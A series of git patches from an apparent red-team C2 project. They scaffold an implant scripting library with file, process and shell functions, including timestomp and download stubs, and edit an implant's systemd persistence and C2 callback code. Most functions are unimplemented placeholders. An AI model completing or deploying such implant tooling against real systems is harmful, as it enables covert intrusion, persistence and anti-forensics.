cmd/implants/eldritch/Cargo.toml | 4 ++ cmd/implants/eldritch/rust-toolchain | 2 + cmd/implants/eldritch/src/lib.rs | 59 +++++++++++++++++++++++++--- 4 files changed, 68 insertions(+), 7 deletions(-) create mode 100644 cmd/implants/eldritch/rust-toolchain diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index 73356851d..a71562660 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -8,7 +8,7 @@ "RUST_VARIANT": "buster", // Options "NODE_VERSION": "lts/*" - } + }, }, "runArgs": [ "--cap-add=SYS_PTRACE", "--security-opt", "seccomp=unconfined" ], @@ -37,4 +37,10 @@ // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. // "remoteUser": "vscode" -} \ No newline at end of file + + // SPEEEEEEED + "mounts": [ + "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/eldritch/target,type=volume", + "source=realm-cmd-implants-target,target=${containerWorkspaceFolder}/cmd/implants/target,type=volume" + ] +} diff --git a/cmd/implants/eldritch/Cargo.toml b/cmd/implants/eldritch/Cargo.toml index 3661b7f9e..3f4468a81 100644 --- a/cmd/implants/eldritch/Cargo.toml +++ b/cmd/implants/eldritch/Cargo.toml @@ -4,3 +4,7 @@ version = "0.1.0" edition = "2021" [dependencies] +starlark = "0.6.0" +anyhow = "1.0.55" +derive_more = "0.99.17" +gazebo = "0.4.4" \ No newline at end of file diff --git a/cmd/implants/eldritch/rust-toolchain b/cmd/implants/eldritch/rust-toolchain new file mode 100644 index 000000000..2a15383b6 --- /dev/null +++ b/cmd/implants/eldritch/rust-toolchain @@ -0,0 +1,2 @@ +[toolchain] +channel = "nightly-2021-11-22" \ No newline at end of file diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index dad5f2100..758e3ae5c 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -1,9 +1,58 @@ #[cfg(test)] mod tests { + use derive_more::Display; + use gazebo::prelude::*; + + use starlark::environment::{GlobalsBuilder, Methods, MethodsBuilder, MethodsStatic}; + use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; + use starlark::{starlark_type, starlark_simple_value, starlark_module}; + use starlark::assert::Assert; + + #[test] - fn it_works() { - let result = 2 + 2; - assert_eq!(result, 4); - } -} + fn test_value_attributes() { + #[derive(Copy, Clone, Debug, Dupe, PartialEq, Display)] + #[display(fmt = "{}", _0)] + struct Bool2(bool); + starlark_simple_value!(Bool2); + + impl<'v> StarlarkValue<'v> for Bool2 { + starlark_type!("bool2"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } + } + impl<'v> UnpackValue<'v> for Bool2 { + fn expected() -> String { + Bool2::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } + } + + #[starlark_module] + fn globals(builder: &mut GlobalsBuilder) { + const True2: Bool2 = Bool2(true); + } + + #[starlark_module] + fn methods(builder: &mut MethodsBuilder) { + fn invert1(_this: Bool2) -> String { + Ok("blah".to_owned()) + } + } + + let mut a = Assert::new(); + a.globals_add(globals); + a.all_true( + r#" +True2.invert1() == "blah" +"#, + ); + } +} \ No newline at end of file From eec9cc2ff7633c888daf2248a264b704c362ef41 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 07:00:13 +0000 Subject: [PATCH 29/56] perf issues fixed and working examplegit add .! --- cmd/implants/eldritch/Cargo.toml | 1 - cmd/implants/eldritch/src/lib.rs | 27 +++++++++++++-------------- 2 files changed, 13 insertions(+), 15 deletions(-) diff --git a/cmd/implants/eldritch/Cargo.toml b/cmd/implants/eldritch/Cargo.toml index 3f4468a81..e73d71e5e 100644 --- a/cmd/implants/eldritch/Cargo.toml +++ b/cmd/implants/eldritch/Cargo.toml @@ -7,4 +7,3 @@ edition = "2021" starlark = "0.6.0" anyhow = "1.0.55" derive_more = "0.99.17" -gazebo = "0.4.4" \ No newline at end of file diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index 758e3ae5c..503948f0b 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -1,7 +1,6 @@ #[cfg(test)] mod tests { use derive_more::Display; - use gazebo::prelude::*; use starlark::environment::{GlobalsBuilder, Methods, MethodsBuilder, MethodsStatic}; use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; @@ -11,13 +10,13 @@ mod tests { #[test] fn test_value_attributes() { - #[derive(Copy, Clone, Debug, Dupe, PartialEq, Display)] - #[display(fmt = "{}", _0)] - struct Bool2(bool); - starlark_simple_value!(Bool2); + #[derive(Copy, Clone, Debug, PartialEq, Display)] + #[display(fmt = "Sys")] + struct Sys(); + starlark_simple_value!(Sys); - impl<'v> StarlarkValue<'v> for Bool2 { - starlark_type!("bool2"); + impl<'v> StarlarkValue<'v> for Sys { + starlark_type!("sys"); fn get_methods(&self) -> Option<&'static Methods> { static RES: MethodsStatic = MethodsStatic::new(); @@ -25,25 +24,25 @@ mod tests { } } - impl<'v> UnpackValue<'v> for Bool2 { + impl<'v> UnpackValue<'v> for Sys { fn expected() -> String { - Bool2::get_type_value_static().as_str().to_owned() + Sys::get_type_value_static().as_str().to_owned() } fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) + Some(*value.downcast_ref::().unwrap()) } } #[starlark_module] fn globals(builder: &mut GlobalsBuilder) { - const True2: Bool2 = Bool2(true); + const sys: Sys = Sys(); } #[starlark_module] fn methods(builder: &mut MethodsBuilder) { - fn invert1(_this: Bool2) -> String { - Ok("blah".to_owned()) + fn exec(_this: Sys, _t: String) -> String { + Ok("root".to_owned()) } } @@ -51,7 +50,7 @@ mod tests { a.globals_add(globals); a.all_true( r#" -True2.invert1() == "blah" +sys.exec("whoami") == "root" "#, ); } From 7d59622cb8edf63179a1e3a6d439e0cee6085eb5 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 24 Feb 2022 04:09:49 +0000 Subject: [PATCH 30/56] stubbed out the first version of the eldritch stdlib --- .devcontainer/devcontainer.json | 5 +- cmd/implants/eldritch/src/file.rs | 102 ++++++++++++++++++ cmd/implants/eldritch/src/file/append_impl.rs | 5 + cmd/implants/eldritch/src/file/copy_impl.rs | 5 + .../eldritch/src/file/download_impl.rs | 5 + cmd/implants/eldritch/src/file/exists_impl.rs | 5 + cmd/implants/eldritch/src/file/hash_impl.rs | 5 + cmd/implants/eldritch/src/file/is_dir_impl.rs | 5 + cmd/implants/eldritch/src/file/mkdir_impl.rs | 5 + cmd/implants/eldritch/src/file/read_impl.rs | 5 + cmd/implants/eldritch/src/file/remove_impl.rs | 5 + cmd/implants/eldritch/src/file/rename_impl.rs | 5 + .../eldritch/src/file/replace_all_impl.rs | 5 + .../eldritch/src/file/replace_impl.rs | 5 + .../eldritch/src/file/timestomp_impl.rs | 5 + cmd/implants/eldritch/src/file/write_impl.rs | 5 + cmd/implants/eldritch/src/lib.rs | 55 +++------- cmd/implants/eldritch/src/process.rs | 49 +++++++++ .../eldritch/src/process/kill_impl.rs | 5 + .../eldritch/src/process/list_impl.rs | 5 + .../eldritch/src/process/name_impl.rs | 5 + cmd/implants/eldritch/src/sys.rs | 51 +++++++++ cmd/implants/eldritch/src/sys/exec_impl.rs | 5 + .../eldritch/src/sys/is_linux_impl.rs | 8 ++ .../eldritch/src/sys/is_windows_impl.rs | 8 ++ cmd/implants/eldritch/src/sys/shell_impl.rs | 5 + cmd/implants/imix/rust-toolchain | 2 + cmd/implants/imix/src/linux.rs | 11 +- 28 files changed, 341 insertions(+), 45 deletions(-) create mode 100644 cmd/implants/eldritch/src/file.rs create mode 100644 cmd/implants/eldritch/src/file/append_impl.rs create mode 100644 cmd/implants/eldritch/src/file/copy_impl.rs create mode 100644 cmd/implants/eldritch/src/file/download_impl.rs create mode 100644 cmd/implants/eldritch/src/file/exists_impl.rs create mode 100644 cmd/implants/eldritch/src/file/hash_impl.rs create mode 100644 cmd/implants/eldritch/src/file/is_dir_impl.rs create mode 100644 cmd/implants/eldritch/src/file/mkdir_impl.rs create mode 100644 cmd/implants/eldritch/src/file/read_impl.rs create mode 100644 cmd/implants/eldritch/src/file/remove_impl.rs create mode 100644 cmd/implants/eldritch/src/file/rename_impl.rs create mode 100644 cmd/implants/eldritch/src/file/replace_all_impl.rs create mode 100644 cmd/implants/eldritch/src/file/replace_impl.rs create mode 100644 cmd/implants/eldritch/src/file/timestomp_impl.rs create mode 100644 cmd/implants/eldritch/src/file/write_impl.rs create mode 100644 cmd/implants/eldritch/src/process.rs create mode 100644 cmd/implants/eldritch/src/process/kill_impl.rs create mode 100644 cmd/implants/eldritch/src/process/list_impl.rs create mode 100644 cmd/implants/eldritch/src/process/name_impl.rs create mode 100644 cmd/implants/eldritch/src/sys.rs create mode 100644 cmd/implants/eldritch/src/sys/exec_impl.rs create mode 100644 cmd/implants/eldritch/src/sys/is_linux_impl.rs create mode 100644 cmd/implants/eldritch/src/sys/is_windows_impl.rs create mode 100644 cmd/implants/eldritch/src/sys/shell_impl.rs create mode 100644 cmd/implants/imix/rust-toolchain diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index a71562660..725910379 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -40,7 +40,8 @@ // SPEEEEEEED "mounts": [ - "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/eldritch/target,type=volume", - "source=realm-cmd-implants-target,target=${containerWorkspaceFolder}/cmd/implants/target,type=volume" + "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/eldritch/target,type=volume", + "source=realm-cmd-implants-eldritch-target,target=${containerWorkspaceFolder}/cmd/implants/imix/target,type=volume", + "source=realm-cmd-implants-target,target=${containerWorkspaceFolder}/cmd/implants/target,type=volume" ] } diff --git a/cmd/implants/eldritch/src/file.rs b/cmd/implants/eldritch/src/file.rs new file mode 100644 index 000000000..305ed0a96 --- /dev/null +++ b/cmd/implants/eldritch/src/file.rs @@ -0,0 +1,102 @@ +mod append_impl; +mod copy_impl; +mod download_impl; +mod exists_impl; +mod hash_impl; +mod is_dir_impl; +mod mkdir_impl; +mod read_impl; +mod remove_impl; +mod rename_impl; +mod replace_all_impl; +mod replace_impl; +mod timestomp_impl; +mod write_impl; + +use derive_more::Display; + +use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; +use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; +use starlark::values::none::NoneType; +use starlark::{starlark_type, starlark_simple_value, starlark_module}; + +#[derive(Copy, Clone, Debug, PartialEq, Display)] +#[display(fmt = "FileLibrary")] +pub struct FileLibrary(); +starlark_simple_value!(FileLibrary); + +impl<'v> StarlarkValue<'v> for FileLibrary { + starlark_type!("file_library"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } +} + +impl<'v> UnpackValue<'v> for FileLibrary { + fn expected() -> String { + FileLibrary::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } +} + +// This is where all of the "file.X" impl methods are bound +#[starlark_module] +fn methods(builder: &mut MethodsBuilder) { + fn append(_this: FileLibrary, path: String, content: String) -> NoneType { + append_impl::append(path, content)?; + Ok(NoneType{}) + } + fn copy(_this: FileLibrary, src: String, dst: String) -> NoneType { + copy_impl::copy(src, dst)?; + Ok(NoneType{}) + } + fn download(_this: FileLibrary, uri: String, dst: String) -> NoneType { + download_impl::download(uri, dst)?; + Ok(NoneType{}) + } + fn exists(_this: FileLibrary, path: String) -> bool { + exists_impl::exists(path) + } + fn hash(_this: FileLibrary, path: String) -> String { + hash_impl::hash(path) + } + fn is_dir(_this: FileLibrary, path: String) -> bool { + is_dir_impl::is_dir(path) + } + fn mkdir(_this: FileLibrary, path: String) -> NoneType { + mkdir_impl::mkdir(path)?; + Ok(NoneType{}) + } + fn read(_this: FileLibrary, path: String) -> String { + read_impl::read(path) + } + fn remove(_this: FileLibrary, path: String) -> NoneType { + remove_impl::remove(path)?; + Ok(NoneType{}) + } + fn rename(_this: FileLibrary, old: String, new: String) -> NoneType { + rename_impl::rename(old, new)?; + Ok(NoneType{}) + } + fn replace_all(_this: FileLibrary, path: String, pattern: String, value: String) -> NoneType { + replace_all_impl::replace_all(path, pattern, value)?; + Ok(NoneType{}) + } + fn replace(_this: FileLibrary, path: String, pattern: String, value: String) -> NoneType { + replace_impl::replace(path, pattern, value)?; + Ok(NoneType{}) + } + fn timestomp(_this: FileLibrary, src: String, dst: String) -> NoneType { + timestomp_impl::timestomp(src, dst)?; + Ok(NoneType{}) + } + fn write(_this: FileLibrary, path: String, content: String) -> NoneType { + write_impl::write(path, content)?; + Ok(NoneType{}) + } +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/append_impl.rs b/cmd/implants/eldritch/src/file/append_impl.rs new file mode 100644 index 000000000..06ded56fb --- /dev/null +++ b/cmd/implants/eldritch/src/file/append_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn append(_path: String, _content: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/copy_impl.rs b/cmd/implants/eldritch/src/file/copy_impl.rs new file mode 100644 index 000000000..cf448dbe3 --- /dev/null +++ b/cmd/implants/eldritch/src/file/copy_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn copy(_src: String, _dst: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/download_impl.rs b/cmd/implants/eldritch/src/file/download_impl.rs new file mode 100644 index 000000000..0b86e4a00 --- /dev/null +++ b/cmd/implants/eldritch/src/file/download_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn download(_uri: String, _dst: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/exists_impl.rs b/cmd/implants/eldritch/src/file/exists_impl.rs new file mode 100644 index 000000000..faabf403e --- /dev/null +++ b/cmd/implants/eldritch/src/file/exists_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn exists(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/hash_impl.rs b/cmd/implants/eldritch/src/file/hash_impl.rs new file mode 100644 index 000000000..121711a2a --- /dev/null +++ b/cmd/implants/eldritch/src/file/hash_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn hash(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/is_dir_impl.rs b/cmd/implants/eldritch/src/file/is_dir_impl.rs new file mode 100644 index 000000000..0cba5075d --- /dev/null +++ b/cmd/implants/eldritch/src/file/is_dir_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn is_dir(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/mkdir_impl.rs b/cmd/implants/eldritch/src/file/mkdir_impl.rs new file mode 100644 index 000000000..53da8851c --- /dev/null +++ b/cmd/implants/eldritch/src/file/mkdir_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn mkdir(_path: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/read_impl.rs b/cmd/implants/eldritch/src/file/read_impl.rs new file mode 100644 index 000000000..6cf053c72 --- /dev/null +++ b/cmd/implants/eldritch/src/file/read_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn read(_path: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/remove_impl.rs b/cmd/implants/eldritch/src/file/remove_impl.rs new file mode 100644 index 000000000..3d112914e --- /dev/null +++ b/cmd/implants/eldritch/src/file/remove_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn remove(_path: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/rename_impl.rs b/cmd/implants/eldritch/src/file/rename_impl.rs new file mode 100644 index 000000000..4aca5e54b --- /dev/null +++ b/cmd/implants/eldritch/src/file/rename_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn rename(_old: String, _new: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/replace_all_impl.rs b/cmd/implants/eldritch/src/file/replace_all_impl.rs new file mode 100644 index 000000000..a2faf2c47 --- /dev/null +++ b/cmd/implants/eldritch/src/file/replace_all_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn replace_all(_path: String, _pattern: String, _value: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/replace_impl.rs b/cmd/implants/eldritch/src/file/replace_impl.rs new file mode 100644 index 000000000..41e6de21c --- /dev/null +++ b/cmd/implants/eldritch/src/file/replace_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn replace(_path: String, _pattern: String, _value: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/timestomp_impl.rs b/cmd/implants/eldritch/src/file/timestomp_impl.rs new file mode 100644 index 000000000..7e9771fbb --- /dev/null +++ b/cmd/implants/eldritch/src/file/timestomp_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn timestomp(_src: String, _dst: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/file/write_impl.rs b/cmd/implants/eldritch/src/file/write_impl.rs new file mode 100644 index 000000000..aa44a91ca --- /dev/null +++ b/cmd/implants/eldritch/src/file/write_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn write(_path: String, _content: String) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index 503948f0b..c9b85fcf1 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -1,56 +1,33 @@ +mod file; +mod process; +mod sys; + #[cfg(test)] mod tests { - use derive_more::Display; - - use starlark::environment::{GlobalsBuilder, Methods, MethodsBuilder, MethodsStatic}; - use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; - use starlark::{starlark_type, starlark_simple_value, starlark_module}; + use starlark::environment::{GlobalsBuilder}; + use starlark::{starlark_module}; use starlark::assert::Assert; + use super::file::FileLibrary; + use super::process::ProcessLibrary; + use super::sys::SysLibrary; #[test] - fn test_value_attributes() { - #[derive(Copy, Clone, Debug, PartialEq, Display)] - #[display(fmt = "Sys")] - struct Sys(); - starlark_simple_value!(Sys); - - impl<'v> StarlarkValue<'v> for Sys { - starlark_type!("sys"); - - fn get_methods(&self) -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } - } - - impl<'v> UnpackValue<'v> for Sys { - fn expected() -> String { - Sys::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } - } - + fn test_library_bindings() { #[starlark_module] fn globals(builder: &mut GlobalsBuilder) { - const sys: Sys = Sys(); - } - - #[starlark_module] - fn methods(builder: &mut MethodsBuilder) { - fn exec(_this: Sys, _t: String) -> String { - Ok("root".to_owned()) - } + const file: FileLibrary = FileLibrary(); + const process: ProcessLibrary = ProcessLibrary(); + const sys: SysLibrary = SysLibrary(); } let mut a = Assert::new(); a.globals_add(globals); a.all_true( r#" -sys.exec("whoami") == "root" +dir(file) == ["append", "copy", "download", "exists", "hash", "is_dir", "mkdir", "read", "remove", "rename", "replace", "replace_all", "timestomp", "write"] +dir(process) == ["kill", "list", "name"] +dir(sys) == ["exec", "is_linux", "is_windows", "shell"] "#, ); } diff --git a/cmd/implants/eldritch/src/process.rs b/cmd/implants/eldritch/src/process.rs new file mode 100644 index 000000000..e72f78c0c --- /dev/null +++ b/cmd/implants/eldritch/src/process.rs @@ -0,0 +1,49 @@ +mod kill_impl; +mod list_impl; +mod name_impl; + +use derive_more::Display; + +use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; +use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; +use starlark::values::none::NoneType; +use starlark::{starlark_type, starlark_simple_value, starlark_module}; + +#[derive(Copy, Clone, Debug, PartialEq, Display)] +#[display(fmt = "ProcessLibrary")] +pub struct ProcessLibrary(); +starlark_simple_value!(ProcessLibrary); + +impl<'v> StarlarkValue<'v> for ProcessLibrary { + starlark_type!("process_library"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } +} + +impl<'v> UnpackValue<'v> for ProcessLibrary { + fn expected() -> String { + ProcessLibrary::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } +} + +// This is where all of the "process.X" impl methods are bound +#[starlark_module] +fn methods(builder: &mut MethodsBuilder) { + fn kill(_this: ProcessLibrary, pid: i32) -> NoneType { + kill_impl::kill(pid)?; + Ok(NoneType{}) + } + fn list(_this: ProcessLibrary) -> Vec { + list_impl::list() + } + fn name(_this: ProcessLibrary, pid: i32) -> String { + name_impl::name(pid) + } +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/process/kill_impl.rs b/cmd/implants/eldritch/src/process/kill_impl.rs new file mode 100644 index 000000000..74d122e1c --- /dev/null +++ b/cmd/implants/eldritch/src/process/kill_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn kill(_pid: i32) -> Result<()> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/process/list_impl.rs b/cmd/implants/eldritch/src/process/list_impl.rs new file mode 100644 index 000000000..ac0a21ca0 --- /dev/null +++ b/cmd/implants/eldritch/src/process/list_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn list() -> Result> { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/process/name_impl.rs b/cmd/implants/eldritch/src/process/name_impl.rs new file mode 100644 index 000000000..4e370a036 --- /dev/null +++ b/cmd/implants/eldritch/src/process/name_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn name(_pid: i32) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys.rs b/cmd/implants/eldritch/src/sys.rs new file mode 100644 index 000000000..d9d20b4ff --- /dev/null +++ b/cmd/implants/eldritch/src/sys.rs @@ -0,0 +1,51 @@ +mod exec_impl; +mod is_linux_impl; +mod is_windows_impl; +mod shell_impl; + +use derive_more::Display; + +use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; +use starlark::values::{StarlarkValue, Value, UnpackValue, ValueLike}; +use starlark::{starlark_type, starlark_simple_value, starlark_module}; + +#[derive(Copy, Clone, Debug, PartialEq, Display)] +#[display(fmt = "SysLibrary")] +pub struct SysLibrary(); +starlark_simple_value!(SysLibrary); + +impl<'v> StarlarkValue<'v> for SysLibrary { + starlark_type!("sys_library"); + + fn get_methods(&self) -> Option<&'static Methods> { + static RES: MethodsStatic = MethodsStatic::new(); + RES.methods(methods) + } +} + +impl<'v> UnpackValue<'v> for SysLibrary { + fn expected() -> String { + SysLibrary::get_type_value_static().as_str().to_owned() + } + + fn unpack_value(value: Value<'v>) -> Option { + Some(*value.downcast_ref::().unwrap()) + } +} + +// This is where all of the "sys.X" impl methods are bound +#[starlark_module] +fn methods(builder: &mut MethodsBuilder) { + fn exec(_this: SysLibrary, path: String, args: Vec, disown: Option) -> String { + exec_impl::exec(path, args, disown) + } + fn is_linux(_this: SysLibrary) -> bool { + is_linux_impl::is_linux() + } + fn is_windows(_this: SysLibrary) -> bool { + is_windows_impl::is_windows() + } + fn shell(_this: SysLibrary, cmd: String) -> String { + shell_impl::shell(cmd) + } +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/exec_impl.rs b/cmd/implants/eldritch/src/sys/exec_impl.rs new file mode 100644 index 000000000..b67fb62c2 --- /dev/null +++ b/cmd/implants/eldritch/src/sys/exec_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn exec(_path: String, _args: Vec, _disown: Option) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/is_linux_impl.rs b/cmd/implants/eldritch/src/sys/is_linux_impl.rs new file mode 100644 index 000000000..c8f2b483c --- /dev/null +++ b/cmd/implants/eldritch/src/sys/is_linux_impl.rs @@ -0,0 +1,8 @@ +use anyhow::Result; + +pub fn is_linux() -> Result { + if cfg!(target_os = "linux") { + return Ok(true); + } + Ok(false) +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/is_windows_impl.rs b/cmd/implants/eldritch/src/sys/is_windows_impl.rs new file mode 100644 index 000000000..9b645b063 --- /dev/null +++ b/cmd/implants/eldritch/src/sys/is_windows_impl.rs @@ -0,0 +1,8 @@ +use anyhow::Result; + +pub fn is_windows() -> Result { + if cfg!(target_os = "windows") { + return Ok(true); + } + Ok(false) +} \ No newline at end of file diff --git a/cmd/implants/eldritch/src/sys/shell_impl.rs b/cmd/implants/eldritch/src/sys/shell_impl.rs new file mode 100644 index 000000000..0d28960a0 --- /dev/null +++ b/cmd/implants/eldritch/src/sys/shell_impl.rs @@ -0,0 +1,5 @@ +use anyhow::Result; + +pub fn shell(_cmd: String) -> Result { + unimplemented!("Method unimplemented") +} \ No newline at end of file diff --git a/cmd/implants/imix/rust-toolchain b/cmd/implants/imix/rust-toolchain new file mode 100644 index 000000000..2a15383b6 --- /dev/null +++ b/cmd/implants/imix/rust-toolchain @@ -0,0 +1,2 @@ +[toolchain] +channel = "nightly-2021-11-22" \ No newline at end of file diff --git a/cmd/implants/imix/src/linux.rs b/cmd/implants/imix/src/linux.rs index f7a43bcaf..868d4021c 100644 --- a/cmd/implants/imix/src/linux.rs +++ b/cmd/implants/imix/src/linux.rs @@ -3,9 +3,12 @@ use std::path::PathBuf; use rand::Rng; use std::process::Command; +use super::graphql; +use super::Config; + pub const SYSTEMD_DIR: &str = "/lib/systemd/system/"; -pub async fn install(config: super::Config)-> Result<(), super::Error> { +pub async fn install(config: Config)-> Result<(), super::Error> { // go through each service config consuming the structs for service_config in config.service_configs.into_iter() { let service_name = service_config.name; @@ -59,11 +62,11 @@ WantedBy=multi-user.target Ok(()) } -async fn exec(_response: super::graphql::GraphQLResponse) -> Result<(), super::Error> { +async fn exec(_response: graphql::GraphQLResponse) -> Result<(), super::Error> { unimplemented!("this is where i would exec a tome... if i had one!") } -pub async fn run(config: super::Config) -> Result<(), super::Error> { +pub async fn run(config: Config) -> Result<(), super::Error> { println!("Linux run!"); let mut c2_index = 0; let callback_config = config.callback_config; @@ -75,7 +78,7 @@ pub async fn run(config: super::Config) -> Result<(), super::Error> { let c2_config = callback_config.c2_configs[c2_index].clone(); // TODO: do something with c2_config and pass in for graphql - let resp = match super::graphql::call( + let resp = match graphql::call( String::from("variables"), c2_config.uri.clone(), callback_config.timeout From d563bc349f7441dee43f4a81a0660fe84a196b1d Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 24 Feb 2022 04:16:33 +0000 Subject: [PATCH 31/56] rebase! --- cmd/implants/eldritch/src/lib.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/cmd/implants/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs index c9b85fcf1..b0b2dac23 100644 --- a/cmd/implants/eldritch/src/lib.rs +++ b/cmd/implants/eldritch/src/lib.rs @@ -12,6 +12,7 @@ mod tests { use super::process::ProcessLibrary; use super::sys::SysLibrary; + // just checks dir... #[test] fn test_library_bindings() { #[starlark_module] From 4b2096239971982d1c11142571806282c4949d6f Mon Sep 17 00:00:00 2001 From: KCarretto Date: Sat, 26 Feb 2022 12:16:22 -0500 Subject: [PATCH 32/56] Added GithubPages Documentation (#3) * Set theme jekyll-theme-merlot * Create index.md * Attempt to override theme * Attempt to fix width * Another try * Again * try a % * Trying new template without jekyyl * Added some test content * Delete sample info * Updated title * Added sample functions * Added more sample functions * Fix path * File -> File Library etc. * Attempt to updated sidebar * Test reintegrating jekyll * Attempt to use _data and _includes for site nav * Fix CSS * Attempt to jekyll page nav * Added nav item * Maybe Jekyll was broken? * Fix Jekyll * Fix Dark Mode * Attempted to make you some content * Oh goodie more jekyll errors * Fix issue * Adjusted heading size * Attempting to play with stuff * Testing something * This seems safe * yep cool * fixed spacing * Attempting to fix some of the nav * Added image * Attempting to reposition images * More css magic from catie :) * Push to prod * Catie test * Added the stdlib methods * Fix indent * Updated logo and added more stuff * Create CNAME * Some minor updates * Fix bad js * Fix offset --- docs/.gitattributes | 17 + docs/.gitignore | 7 + docs/CNAME | 1 + docs/_config.yml | 2 + docs/_data/eldritch_nav.yml | 108 + docs/_data/site_nav.yml | 4 + docs/_includes/eldritch_content.html | 63 + docs/_includes/eldritch_nav.html | 28 + docs/_includes/site_nav.html | 7 